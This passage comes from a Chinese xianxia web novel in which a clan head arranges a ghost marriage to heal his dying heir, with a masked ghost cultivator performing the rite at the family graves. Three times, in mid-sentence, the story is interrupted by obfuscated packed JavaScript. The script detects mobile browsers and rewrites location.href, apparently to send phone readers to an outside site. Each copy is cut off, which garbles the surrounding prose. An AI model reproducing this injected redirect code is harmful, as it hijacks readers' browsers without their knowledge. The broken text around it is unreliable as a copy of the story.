“背尸人”。 背尸人不是谁都能当的,需要外城手无寸铁的人类修士方能胜任,鬼修与邪魔身上沾染阴气,容易催化这些尸身起尸。 虽不是什么大事,但谁也不想被一堆血肉模糊的尸体纠缠。 背尸人每日会将外城中的尸身统一运往城外的尸坑或是乱葬岗,会有十方海专用尸身修行的邪魔过来运走。 有些心善的,会尽己所能将尸身藏好,或是整理遗容后烧毁,也算是摆渡的一环。 因此,他们大多颇具阴德,容易招鬼修,能活下来的不多。 但寻到一个,还是不难的。 “既是借命,自然要有空余,需找近日横死,阳寿未尽之人。” 问题是,男人既要“阴德圆满”,又要“近日横死”,这便不好找了。 毕竟外城整日尸体那么多,谁又知道哪具身上背负阴德呢? “找个活人杀了不行?”墨端皱着眉。 男人端起茶盏:“行啊,那少主便等着沾染因果,厉鬼缠身吧。” 他说的话全是墨端不爱听的,偏偏还不能拿他如何。 墨端只得憋着一口气,吩咐手下:“去外城寻找七日内横死的背尸人。” 他们这边办得热火朝天,墨岚那头还晕死在床上,不省人事,全然不知自己即将嫁给一位“鬼”新郎。 4. 静候吉时 外城混乱,对墨家的人总是嗤之以鼻,手下花了很大一番功夫,才终于找到一具尚且停灵在家的背尸人身躯。 这具身躯算得上背尸人中的异类,外城中愿意去当背尸人的大多独身一人,此人竟然有家庭,父母俱在,还有一个哥哥。 叩开此人房门时,手下先被房中一阵刺鼻的气息熏了个跟头。 房中的景象完美符合手下对外城的刻板印象,脏乱不堪,几乎找不到一块能够下脚的地方,整个房子中弥漫着酸臭的气息,不像寻常人家,倒像是流浪汉的歇脚处。 根据此人父母的话说,这个年轻的背尸人才十八岁出头,死因是劳累过度猝死,尸身在严寒下保存完好。 尸体浑身赤.裸,被一张破旧的床单裹着,就这样随意地放在他自己的房间中,手下拧着眉头:“他年岁多大了。” 墨涓何川站在他旁边,身上的衣服看起来比那张破床单好上不少,有些紧张:“今年十、该有十九岁了吧……” 墨涓掐了一把他的手臂:“小燃今年都不到十九呢,他应该十八。” 他们口中的小燃便是抱臂靠在房间门口的年轻男人,瞧着便不是什么好角色。 手下抬手,吩咐人进来将尸身抬走,墨涓赶忙凑上去拦住:“你们这是干什么啊?” 手下没说话,从袖中掏出一个钱袋子,言简意赅:“这具尸体我买了。” 这时,门边的何燃眯了眯眼,敏锐地瞥见那钱袋子上面绣着竹子纹样的暗纹。 他吃了一惊,站直身子,探头又看了一眼。 的确是竹纹,符修的本命符咒多由竹浆制作,竹子也是天机城墨家的标志。 何燃浑身一阵,一个箭步冲上前,赶在父母前面开口:“不行!这尸体我们已经卖给别的鬼修了!” 墨涓何川回过头来看他,眼中的贪婪还未收回去便带上了谴责。 但何燃一时管不了那么多,他现在一门心思想的便是如何攀上墨家这棵大树。 手下的眉头再度皱紧,但不想与他们过多纠缠:“什么价钱卖的,我出双倍。” 何家夫妇的眼睛再度亮起,挪到他手中那瞧着便沉甸甸的钱袋子。 这次倒是瞧得仔细了,何川早年娶墨涓,便是想着攀附墨家,自然对墨家竹纹熟悉,脱口而出:“你们是墨家的?” 竹纹不仅代表墨家,更是代表墨家本家,是真真切切与家主有血缘关系的人。 且墨家阶级森严,便是下人奴仆间都要区分品级,这样雅致威严的纹样,只可出现在家主亲近之人的身上。 二人当即冷汗就下来了。 当年他们因何烬犯错被赶出内城,从墨家除名,心里全都憋着气,怪他断送了长子何燃的仙途。 以至于对何烬动辄打骂,让十多岁的他在外城打黑工赚钱供全家人挥霍。 几番周折,何烬成了外城的一名背尸人,拿着最少得工钱干最多的活。 到底是个少年人,身子熬不住,两日前猝死在房中。 何家夫妻懒得管他,便就将他丢在房中不管,盼着哪日有了味道,会被路过的邪魔弄走,省得他们再去折腾。 哪知比邪魔先来的是墨家的家仆。 手下对他们没什么印象,他只知道少主的病情不能再拖了,无奈道:“你们要什么。” 墨家夫妻听到这话,再多的惶恐不安也统统变成了狂喜,墨涓当即拉着丈夫儿子跪在他面前,哭得声泪俱下。 “小烬最是孝顺,肯定不愿见到我与他父兄在外城受苦,否则泉下难安啊……” 她正准备揩眼,手下透过根本没糊纸的窗户看了看外头的天色,距离向家主复命的期限只差一个时辰了,他不想再耽搁,便道:“行了,你们随我们回内城吧,自己找地方安顿,莫要去烦家主,否则……” 几人当即在地上磕头喊他心善,家主心善,跟着他们抬着何烬的尸身,进了内城结界。 - 何烬是猝死,尸身在寒凉的外城保全完好,没有外伤血迹,所以没遭邪魔惦记。 他从十三岁开始,整整做了六年的背尸人,最符合那神秘男人口中的“阴德圆满”。 他身死时穿着家中最后一套还算干净的衣裳,皆被那对丧良心的父母剥下来,拆开给全家人做了新衣,让他光着身子被抬进墨家的大堂。 家主看见手下抬着东西回来,先是不悦开口:“找具尸体,花了那么久。” 手下跪地求他恕罪,家主不动声色地瞥了一眼坐在旁边支着额头假寐的男人,走下主位,来到抬着何烬尸身的担架面前。 他忍着恶心掀开白布一角,端详着何烬容颜。 虽说阴婚借命,说到底不过一场交易,但墨岚容色甚绝,若是他“道侣”长得丑绝人寰,家主怕是梦中都要被恶心得睡不着。 好在何烬虽然苍白,却长得不错,称得上俊美,身上是常年吃不饱饭又搬运尸身造就的精瘦,并无暗伤疾病,算是一个十分合适的阴婚对象。 墨端叫人查看他的尸身,最终只在手腕处发现了一道长长的疤痕,早已愈合结痂,也没有受蛊的痕迹。 他转过头,对那神秘男人开口:“此人如何。” 男人像是早就等着了,在他话音落下后维持着支颐假寐的姿势接话:“甚好。” 这第一关算是过了,家主想到墨岚此刻正在床上躺着,出气多进气少,难免着急:“那什么时候可以开始?” 那男人站起身,原地活动筋骨,看了看外头的天色。 “准备一口能容纳二人的槐木棺材,一两香烛,新鲜的黑狗血,公鸡血各三碗。” “再取一沓黄符于我。” 他要的东西都是好寻的,墨端顷刻吩咐下去,不一会,几样东西便被呈到堂前。 神秘人依旧懒散地坐在位置上,随口问道:“墨家可有坟茔?” 墨端有些心浮气躁:“自然,祖坟便在后山。” “烦请家主寻一块空地挖坑,挖个能放棺材的坑,将他的尸身挪进棺材等我。” “子时,我准时到。” …… “少主……” 身边传来叫喊声,墨岚沉溺在梦魇当中,难得片刻清醒,在呼唤声中缓缓睁开眼。 墨方端着药站在榻前,他身后还站着几个家主身边的侍卫。 墨岚深知自己的身子已经到了极限,恐怕是回光返照,被墨方扶起来靠在床头后,墨岚对上了他有些怪异的目光。 那碗药被送到墨岚苍白干涸的唇边,墨岚闻着苦味闭上眼,有气无力道:“……端下去吧。” 死前他不想喝药,随手从床头柜上的小碟中捻了一颗蜜饯。 身体衰竭,他的鼻子已经不灵了,没有闻出那碗药并不是他平日常喝的那几种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119777|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 墨方纵使不忍,却还要完成任务,只好在看着他咽下那颗蜜饯之后,强硬地扣住他的下颌,将药灌了进去。 墨岚没力气反抗,只用狭长黯淡的双眸盯着他,看得墨方发毛,他声音带着颤抖:“少主,没事的……” 药液入喉,便是味觉衰退,墨岚也尝出了里头怪异的甜腥,眸光闪动。 难以言喻的感觉在最后一滴药汁被吞咽进口后在他的四肢百骸中蔓延,墨岚胸腔一阵翻涌,要将药汁呛出来。 墨方赶忙用手帕捂着他的口,一面顺着他的背,额角渗出冷汗。 墨岚艰难地把气喘匀,下一刻便感受到四肢无力,意识模糊。 恍惚间他想,这碗药是用来送他上路的吗?倒是贴心。 …… “您……” 墨方戒备地看着门口缓缓走进来的黑袍男人。 墨岚瘫软着身子靠在床头,已然昏死过去,男人没有理他,径直走到墨岚面前。 墨方身边的侍卫却并没有阻止,甚至恭敬开口:“我们把少主带过去吧。” 男人摇摇头:“你们先退下。” 侍卫有些犹疑,但家主让他们听此人命令行事,若是要救少主,此人就不可能伤害少主,于是纷纷推出卧房,顺便带上了墨方。 “你们这是在干嘛?”墨方有些心慌,一步三回头,但房门早在他们踏出去的最后一瞬紧紧关上,房中只留昏睡的墨岚和那个神秘男人。 “你别管了,这是家主的命令。”侍卫说。 …… 房中,男人今日第一次扯下兜帽。 若是墨端在此,定会惊愕非常。 男人的脸,他不久前便见过,与先前从城外运回来的何烬尸体,长得一模一样。 “何烬”安静地看着墨岚的脸,用眼神勾勒每一处轮廓,每一丝起伏。 眼神中带着痴迷,狂热,和旁人看不懂的,复杂的情思。 他半蹲下身,伸出异常苍白的手指,轻轻地,轻轻地,触碰到了墨岚冰凉的眼睑。 ……不知过了多久,男人终于站起身,手肘凭空挂上一套鲜红的衣裳,上面绣着繁杂精美的花纹。 竟是一件喜袍。 - 黑沉的雪云很快笼罩在墨家上空,准确来说,是笼罩住墨家的后山。 墨端选了一处荒地,距祖坟和建筑都较远,附近没有别的坟茔,方便辨认。 他特地选了亲信仆从,以防万一还用了能够短暂抹去记忆听从命令的符咒,让他们将现场按照男人吩咐的形式布置。 墨端的手中捻着一张不大的黄符,细细端详。 上面用黑狗血和公鸡血混合,描画出一种连他都未曾见过的符文,所用文字字形诡谲,绝非镜海洲所有。 墨端自认在符咒之道已经登峰造极,却连这张符咒的区区一笔都无法参透。 那神秘的男人却能扬笔挥毫,丝毫不停顿地写完整整两百张,且无一张重复。 这已经不是简简单单的符法能够诠释的了。 墨端原本死马当作活马医的想法,也在看到这些符咒时稍稍打消,若这些符咒真的有用,那男人说的“阴婚”,恐怕真的能成。 在他面前,仆从们早已安安静静地挖出了一个很大很深的坑,正用架子将棺材往里面挪。 距离子时,还有两个时辰。 5. 吉时已到 “少主还在房中?他也在?”墨端“啪”地将手中茶盏砸在临时支起的桌上。 他在坟前等了一个多时辰,没等到墨岚,也没等到那神秘人。 眼看着还有半个多时辰便到子时了,墨端下令:“去墨岚房中寻,看是不是出事了。” 而后又自言自语:“不行,我亲自去一趟。” 后山的仆从被遣散得差不多了,跟在他身边的只有带回何烬尸体的死侍,他跟着家主一起去到墨岚的院中,房门紧紧闭着,空气中弥漫着一丝清幽的兰香,转瞬即逝。 手下以为自己闻错了,皱了皱鼻子,却再也无法捕捉到那股味道。 墨端走到院中,紧紧盯着那扇房门。 下一刻,房门大开,浓郁到肉眼可见的森森寒气倾泻而出,不用猜便知道是谁的气息。 墨端戒备地看着阴暗的房门,只要察觉到一丝侵略的气息,他便会毫不犹豫地出手。 但那团黑雾中,突然浮现一抹突兀的红,一点一点慢慢扩大,像是一滩逐渐洇开的血。 墨端呼吸一滞,他盯着那抹红色,直到一截衣摆迈出房门。 衣摆上面滚着银线,在黑雾中若隐若现,仿佛是一株流光溢彩的草。 他身后的手下亦是瞳孔微缩,半日前着一身黑衣出现在他们面前的神秘男人,此刻穿着一件大红色的喜袍,怀中横抱着昏睡不醒的少主。 墨岚蜷缩在男人的臂弯中,亦是一身喜袍,衣摆顺着四肢自然下垂,几乎要拖在地上。 “你——” 墨端看着眼前荒唐的一幕,怒不可遏。 男人没有戴兜帽,但脸上覆着一张恶鬼面具,狰狞可怖。 他没什么反应,抱着墨岚瞬移至墨端身后:“顺路过来接他,走吧。” 墨端呼吸有些急促,他想说的是这个吗? 他看着面前扎眼的两抹红,张口便是刺耳的话:“他结的是阴婚,你穿什么嫁衣?你是死人?” 男人没说话,转头淡淡瞥了他一眼,面具空洞的两个孔瞧着格外渗人,这种未知和无能让墨端起了一阵鸡皮疙瘩。 男人说得冠冕堂皇:“既是婚礼,便该有新郎,难不成你让棺材里那位起身拜堂不成?” 墨端轻嗤:“他拜不了堂,墨岚便拜得吗?” 他让人准备的软筋散中加了能让人昏睡的药草,墨岚现下除了心脏脉搏仍在路律动之外与死人无异。 男人收回目光,低头看向怀中昏睡的墨岚,声音轻飘飘:“这个,是我的事。” 说罢,一团黑雾笼罩,他消失在了原地。 墨端的脸色变了又变,他亲手在墨家设下了禁止传送的阵法,男人能不费吹灰之力地破阵,说明此人修为远在他之上。 宽大的袖中发出骨骼挤压的咔咔声,墨端阴沉着脸对手下吩咐:“把修灵的所有长老叫到后山之外等着。” - 男人抱着墨岚出现在了棺材前。 这里空无一人,立在棺材前的木桌上放着香炉,旁边有一对白烛正在燃烧。 蜡烛碍了男人的眼,他手指轻动,两支蜡烛瞬间过渡成血色,成了昏暗坟茔前的唯一光源。 男人还是不满意,下一刻,藤蔓缠绕的木桩拔地而起。 墨端赶到时,恰见这些奇异的植株互相连接,在坟前凭空生成了一处张灯结彩的喜堂。 藤蔓上生着灯笼般的红色半透明果实,散发着幽幽红光,木桩上钉着烛台,将周围的空气都烧热了几分。 红烛劈啪作响,这里终于有了“成亲”的氛围。 “……” 原本放着香炉的桌上摆着四个高高红红的托盘,里头放着传统的枣子花生桂圆莲子,连黑漆漆的槐木棺材盖上都被缠上了一圈红绸,一身素白的“何烬”,安静地躺在里面。 男人横抱着墨岚,站在棺前居高临下地扫视“何烬”的尸身。 他袖子被风拂动,一张藤蔓编制的躺椅出现在他的身边。 男人小心翼翼地将墨岚放在躺椅上,随即转向棺木。 他抬手将身上的喜袍外衣脱下,里头层层叠叠还有不少衣物,俱是鲜艳的红。 喜袍被他随手扔进棺材,覆在“何烬”的身上。 男人静默看着,倏然一笑,低声道:“我来‘送嫁’。” 棺里棺外,两身喜袍,一时看不清分别。 距离子时,还有半个时辰。 …… 一张黑底符纸被贴在了墨岚的后背。 他的身体肉眼可见的僵硬,如同一具提线木偶般被操控着从摇椅上站起身。 在他面前,是摆着“早生贵子”的木桌,木桌之后,是贴满符咒的黑棺。 墨岚没有睁开眼,他脸上依旧是安静的神情,眉头微微蹙起,看上去有些痛苦。 男人牵起他的手,在他掌中塞进一段喜绸,另一只手轻轻抚上他的眉眼,状似描摹般抚平了他的眉头。 不远处,坐在椅子上的墨端捏碎了把手。 纸人作司仪,原本空白的眼眶被男人用黑狗血点了睛,正与金童玉女在旁边窃窃私语,偶尔发出几声尖利的咯咯笑,听得人头皮发麻。 站在墨端身边的死侍纵使自认见多识广,仍被眼前这荒诞诡异的景象骇得手脚打颤。 “吉时已到——!!” 纸人司仪尖利刺耳的声音宛如有人在用带有毛刺的指甲抠挖耳膜,划破后山静谧的夜空。 男人牵着墨岚的手,二人站在贴着喜字的棺材前方,正对着“何烬”的头颅。 墨岚的面容被一张红色薄纱覆盖,男人掀开一角盖头看他的脸,面具下的神情无法辨认。 他发出意味不明的一声轻笑。 这声笑被棺材周围环绕的那圈铜铃掩盖,“喜堂”中的烛光仿佛又明亮几分。 金童玉女站在棺材两侧,是“何烬”的陪葬,纸人司仪站在桌前,额上别着喜庆的大红花,棺材面上的“奠”被鲜红的“囍”覆盖。 “一拜天地——” 男人周身气息瞬间冷下来,他瞥了纸人一眼,纸人脆弱的身躯上竟然出现了属于人的形态。 它浑身一震,跳过了一拜和二拜,顺着男人的心意高喊:“夫妻对拜——!” 男人操控着墨岚的身体,二人在“何烬”的棺材前俯身对拜。 不远处的墨端额角青筋暴起,所有的理智全都用来遏止自己站在原地,不上前去弄死那人。 在直起腰的一瞬间,墨岚的身躯瘫软下去,倒在男人的怀中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119778|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>墨端正要上前,男人周身倾泻出一阵浓郁的戾气,他被迫停住脚步。 男人横抱起墨岚,金童玉女为他让路,整个喜堂里所有的光骤然熄灭,围绕着棺材的铜铃被风拂动,响个不停。 男人将墨岚轻轻放进了棺材。 这口棺材很大很大,足够睡下三四人,“何烬”与墨岚分隔两地,中间隔着的距离宛若天堑,便是再躺两人都还宽裕。 男人收回黏在墨岚身上的眷恋视线,从棺材边上退开。 金童玉女吭哧吭哧地将棺材板盖上,拿了沾着鸡血的长钉,将棺材钉严实。 男人就在旁边静静看着,在一切完成后挥手一把火烧了三个纸人,随后坐在方才那把摇椅上,开始发呆。 墨端终于能动了,一把锋利的匕首抵住男人的脖颈,他咬牙切齿:“鬼修宵小……” 但紧接着,他的匕首被一层坚硬的寒冰包裹,一路蔓延到墨端的手臂。 鬼气藤蔓般攀上墨端和死侍的腿,他们的身体瞬间被麻痹,无法动弹,男人不紧不慢地用手拨开墨端的匕首,冷声道:“急什么?辰时开棺,若是少主出了差池,我自任你处置。” 墨端咬紧牙关,他活了那么多年,还是第一次受制于人,更何况对面是他一向唾弃的鬼修,他此刻开始怀疑自己的决断,恼怒自己为何会如此轻易相信从鬼修口中说出的“阴婚借命”。 墨端可以立刻叫出附近潜藏的诸位长老,一人杀不了,那数十人呢? 但墨岚尚且躺在棺材中不省人事,等到早晨打开棺材时,他是死是活尚未可知,此刻将男人杀了,若是中途出了差错,便再无转圜了。 天材地宝制成的匕首在男人手中碎成了渣滓,鬼气在男人身边凝成屏障,将他们与男人隔绝。 墨端闭了闭眼,他没有将阴婚这样的无稽之谈告诉各位长老,来时在后山设下结界,没有他的命令,长老是无法窥视的。 若是让他们知道家主听信鬼修谗言,甚至纵容鬼修在墨家的坟茔撒野,他的威望会受到影响。 这鬼修,他不能杀,至少现在不能。 - 天机城常年昏沉,今日竟然久违地有了阳光。 辰时刚到,一缕清光照射在漆黑的棺材上,周边环绕的铜铃发疯般鸣叫,躺在摇椅上的男人睁开眼。 整个棺材开始震颤,固定棺盖的长钉慢慢挣动,自发掉在地上。 男人的手放在了棺材盖上。 墨端疾步上前,戒备地看着他,话却是对手下说的:“寻医仙来。” 棺材盖被毫不费力地推开,那缕阳光直直照进棺中,墨端顺着看进去,瞳孔一缩。 ……棺材中,“何烬”的尸体不似昨日墨端亲眼见证的那样端正平躺,而是从角落被挪到了正中间。 “何烬”的尸体侧躺着,昏睡的墨岚在他怀中,枕着他的一条手臂,墨岚原本蒙在头上的红纱不知所踪,裹在身上的喜袍也稍显散乱。 天光正好照在墨岚的脸上,他神情浅淡安稳,唇角似乎还能看见一些细微的起伏。 而拥抱着他的“何烬”,肤色依旧苍白,表情没多大变化,但最为惊悚的是,昨夜被那男人随手扔进棺材里的喜袍…… 此刻竟好端端地穿到了他身上。 6. 生死论定 男人站在旁边,将墨端的神情尽收眼底,他轻轻哼笑一声:“看来非常成功,城主可以叫医仙过来确认了。” 墨端睨了他一眼,不冷不热地说:“这是自然。” 话虽如此,在他看不见的地方,墨端悄悄在手中捏了几张符纸。 医仙很快便赶到了后山,墨端打开结界给他放行,没有要遮掩这场荒诞“阴婚”的意思。 好在医仙眼中只有病人,墨岚被抱出了棺材,放在那张躺椅之上,仍在昏睡,但面色肉眼可见的红润,胸膛起伏也非常平稳。 医仙翻开他的眼皮看了几眼,发出一声低叹,随后又往墨岚身体中注入灵气,梳理经脉。 越探,医仙的脸色越发复杂,他收回手,不着痕迹地看了一眼那男人,墨端迫不及待想要知道结果:“别管他,少主如何了?” 医仙抹了把冷汗,声音有些磕巴:“禀家主,少主他……修为和灵台状态退至玄级巅峰,但、但身上经年的伤寒热毒,几乎全都被袪净了。” 医仙活了上千年,自诩自己的医术在整个禅州乃至北境无人可以比拟,却也是第一次遇见如此神奇的事。 一个常年病弱,在药罐子中泡大的少年,一朝脱胎换骨,身上致命的沉疴旧疾竟然一夜之间消失了。 更别说修为回退,莫说禅州,便是镜海洲,除了堕入魔道,恐怕都找不到同样的情形。 医仙又抹了一把冷汗,眼神往那口漆黑的棺材上飘,这才发觉棺材前根本不是什么灵堂,而是大红喜庆的……喜堂? 这样的场景,很难不让人往邪术上面想,医仙不敢抬头看家主的眼睛,却没忽略身边那神秘男人发出的一声轻笑。 “城主,如何?” 明明听上去是邀功的话语,在他漫不经心的语气下,竟然能听出讽刺的意味,像是在嘲笑墨端先前的种种杞人忧天,极其狂妄嚣张。 墨端不置一词,他点燃一张符纸,那“喜堂”便轰然崩塌,化作一坯黄土。 棺材盖重新合上,打入长钉,那些尘土自然地落在坑中,将棺材连带周边的一圈铃阵掩埋,俨然就是一座新坟,看不出任何与“阴婚”相关的痕迹。 “在下还有一个疑问。”墨端不紧不慢地又点燃了一张符纸,随手丢弃在地。 男人好整以暇地站着。 下一刻,一道极具威压的阵法将男人禁锢,上面铭刻着专克阴邪鬼气的法纹,杀伤力极强。 若是寻常鬼修,早在被沾染的一瞬间便灰飞烟灭,男人却只是讶异一瞬,连发丝都未乱。 墨端咬牙又加了一道封印,冰冷道:“可否一死?” 男人依旧不为所动,轻哂:“城主这是要过河拆桥?” 墨端没说话,转过头递给医仙一个带有警告意味的眼神,随即神识传音于阵外蹲守一夜的数位长老。 “后山有胆大妄为之鬼修作祟,功法高深,速来降敌!” 几乎是话音落下的瞬间,数道身影踩着小型传送阵法出现在墨端的身边,细细看去,两只手都数不过来,墨家所有精锐战力都在这里了。 被法阵禁锢的男人看着眼前的闹剧,面具下狭长的双眸轻轻眯了眯。 “城主真给我面子。” 有墨家的长老认出了禁锢他的法阵,这阵法符文的稀有和难度便是在整个以符法起家的天机城都能排得上号,家主一出手便是两张。 更让他们惊讶的是,两张符咒,竟也无法伤到那神秘男人。 在座修为最低微的也有修灵境界,都是飞升之资,而其中又以家主功法最盛,家主将他们悉数召集,竟然只是为了绞杀一个来历不明的鬼修,足以证明此人不容小觑。 但还有一点让他们想不通,即使绞杀一名鬼修,家主为何提前一晚就将他们叫到后山? 是为了预防什么吗? 众人想到这里,方才注意到那鬼修身上穿着一件扎眼的红袍,上面绣着寻常的花好月圆,衣摆有浅银的兰草纹样。 喜袍? “那是……少主?” 有长老发出一声不小的惊呼,众人顺着他的视线看过去,瞧见了不远处躺在摇椅上昏睡不醒的墨岚和站在他身边的医仙。 “少主怎么会穿着那样的衣服?” 墨岚平日性格阴郁,有家主亲自教导,从不与他们来往。 在他们对墨岚的少数记忆中,墨岚总是默然,终日穿着一身沉闷的暗色衣服,从未穿过这般艳丽的红衣。 墨端见他们都在出神,怒喝道:“还不杀敌!” 他库存的两张符咒快被男人的蛮力碾碎,他抽出手割破手指画新的符咒,法力大量消耗,渐渐处于下风。 众人终于反应过来了自己该做什么,联手在后山布下结界,确保这鬼修插翅难飞。 只是他们拿出了认真的态度,男人却不想与他们周旋了。 他仰起头看了看天色,今日竟然是一个难得的晴天,竟然能见到太阳。 男人撤回防御和攻击,任由那些符纸打在自己身上。 他一点眼神也不想分给别人,直勾勾地看着躺椅上的墨岚。 “我们……很快就会再见的。”最后,他这样说。 一根红烛出现在男人的手中,他抬眼,黑洞洞的眼眶与墨端对视。 墨端脑中“嗡”的一声,有一瞬的空白。 明明看不见男人的眼睛,但他无端觉得神魂都被震慑。 不等他反应过来,那根蜡烛被仍在地上,像点燃一根干枯树枝那般,在地上蔓延,逐渐攀上男人的身躯。 那句很快再见,似是对墨岚的眷恋,又似对墨端的警告,他无法分清,只能眼睁睁地看着男人在他面前被焚烧殆尽,连一粒灰尘都未留下。 - “鬼修宵小掳走少主,妄图在墨家后山撒野。” 这是墨端给各位长老的交代。 “那座新坟是……?” 墨端尚未想好如何解释,他不可能让他们知晓何烬的存在。 端起茶盏浅抿一口,墨端随意道:“六年前阿湄尸骨不知所踪,墨岚尚小,不记事,前些时日才将埋骨位置想起来。” “那座新坟,是阿湄的。” 长老们俱是吃了一惊,想不到曾经叱咤天机城的湄小姐再回墨家,竟然是以白骨的形态。 他们不知说些什么,只干巴巴地挤出一句“家主节哀”,便悉数退出厅堂。 墨端闭了闭眼,有些疲惫。 …… 房中的地龙今日格外暖和,床头罕见地点起熏香,还是无法掩盖那股浓重的兰香。 墨岚身上的那件喜袍早就被扒下去烧了个干干净净,他安静地躺在床上,神色平缓,看不到平日的半分孱弱。 墨方坐在榻边打瞌睡,昨日他担心墨岚,一夜未睡。 墨岚沉溺在光怪陆离的梦境中,一会是外城的风雪,一会又变成了温暖的喜堂。 一个看不清面容的高大人影牵着他的手,在他耳边吟念:“夫妻对拜……” 眼前的画面朦胧又温馨,他的视线被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瓶颈对于修士来说再正常不过,但墨端不知在着急些什么,日日催他修行,在接连闭关两个多月后,墨端将他叫到房中,递给他一盒丹药。 “这是什么?”墨岚与他对视。 墨端端起茶盏:“我重金寻来的丹药,于你锻体有益,服下闭关三日,便可顺利锻体。” 墨岚拧着眉,他能清晰地感受到体内瓶颈的松动,只要再给他一些时间,锻体不是问题。 墨岚天生对邪魔外道有排斥的情绪,也不愿意走这些所谓捷径。 “我快锻体了,没必要吃这些……”墨岚试着回绝,但墨端没等他说完便着急打断:“够了,让你吃便吃,难道我还会害你吗?” 墨岚闭上了嘴,他沉默片刻,道:“我去寻医仙,免得与平日吃的补药相冲。” 他没有忽略墨端话中的一丝慌乱不安,这药显然不是什么上得了台面的东西。 墨端愠怒,将茶盏摔在地上,声音不容拒绝:“吃了!” “过了年关你便十七了,再有两年便该出城历练,外头的邪魔可不会在出手前问你修为几何。” “不管你用什么方法,十九岁前必须到达锻体巅峰,随后去苍陵山求道,参加天域试炼,带着天机城的名号走出禅州!” 这样的话,六年间他已重复千百遍了。 墨岚没再说话,垂眸拧开了药瓶,将里面的东西倒进喉咙。 7. 梦中喜堂 那丹药实则是一种从十方海传过来的极其稀有的蛊虫,的确有助人锻体的功效。 但方式却极为霸道,服用后蛊虫会直接进入灵台,将灵台撕碎,再用涎液粘连重组。 重组过后的灵台会直接扩大到能容纳锻体修为的大小,随后蛊虫便会在其中自爆,化作灵力将灵台填充,修为锻体后,身体也会产生蜕变,只是不如正常锻体那般脱离凡身,金刚不坏。 这般经历比正常锻体要好忍耐一些,但灵台上的伤痕很难痊愈,大多会留下后遗症。 不过只是留下一些后遗症,便能越过修仙生涯中最大的一个分水岭,以至于这种蛊虫在整个镜海洲供不应求,短短几年便被吃得绝迹。墨端给墨岚的那颗,是花费了很大代价在十方海黑市中购入的。 事实上墨岚的身体已经在多年的修炼中有了好转,一颗蛊丹毁了一切。 …… “醒了?” 墨岚回神,转过头看向门口。 墨端的脸上难掩疲惫,他站在门口,身后是肆虐的风雪。 天气实在太奇怪,昨日尚有晴光,今日便温度骤降,雪下了一整天还不见停。 墨岚直起身:“家主。” 墨端摆手,让他免礼,墨方退出房门,顺手将门带上。 床头柜上有温热的茶水,墨端给墨岚倒了一盏,坐到桌前。 他没有主动说话,最后是墨岚率先打破寂静。 “家主,我的修为是怎么回事?” 他的声音听不出情绪,却让墨端烦躁地捏捏眉心:“我寻了救你的法子,这只是一些恢复健康的小反噬。” 墨岚静默一瞬:“……又是什么蛊?” 墨端抬起眼与他对视,嗓音冰冷:“你在质问我吗,墨岚。” 墨岚将手中的茶盏放在床头柜上,发出不轻不重的一声响。 “不是蛊的话,又是什么鬼修邪术?” 墨端的火气“噌”的一下被点燃,他将桌上的杯具扫落,斥道:“你知道你在说什么吗?!” 墨岚的双眼黑而沉静,语调没有波动:“你没否认,不是吗?” 墨端站起身,凳子腿与地板摩擦,发出一声刺响。 “我看你是昏头了,墨岚。我天机城不需要没本事的少主,在锻体之前,你就好好待在这里,莫再出去……丢人现眼!” 房门便被毫不留情的关上,几片雪花乱入房中,很快被温热的空气蒸腾,消失得无影无踪。 墨岚闭上眼,吐出一口浊气,躺回了床榻。 …… 墨岚陷入了梦魇的死循环。 他被关在房中禁闭,休息的时间大大增多,那日的喜堂和陌生男子不断回到他的梦境,夜夜如此。 更让墨岚感到烦躁的是,他入梦的时间日渐变多,那些朦胧的画面愈加连贯清晰。 自从他有意识,到不远处的“司仪”用尖利的声音高喊“一拜天地”,再到面前陌生的男人伸出手勾住他的红盖头。 一日比一日迅速,一日比一日沉浸,但他仿佛一具傀儡,用再多的力也动弹不得,只能拼命瞪着眼,试图看清那近在咫尺的男人。 数次以失败告终,但随着梦境的时间渐渐绵长,墨岚断定,再有三五天,他的红盖头便能彻底被掀开。 但那梦中的一切都让他感到不安,墨岚疑心是墨端在他身上动的手脚,不敢再继续梦下去。 于是他便开始整日打坐,梳理经脉全力冲击锻体,尽量避免睡眠。 效果显著,墨岚再没入梦,总算能专心修炼。 一个月后。 暖阁中,墨岚坐在温热的灵池水中,吐纳天地灵气。 洗髓锻体,他的身体发生了显著的变化,原先灵台上那些裂痕愈合了许多,不再像先前那样岌岌可危,随时有崩溃的可能。 墨岚过去十七年人生,从未有一刻感受到如此松快。 灵力回体,墨岚合上疲惫的双眼。 他锻体成功了。 整整半个月没有入眠,墨岚的精神紧绷到了极致,连动弹的力气都没有。 他身上裹着浴袍,靠在石壁上睡过去,呼吸很快变得平稳。 - “别怕……睡吧。” 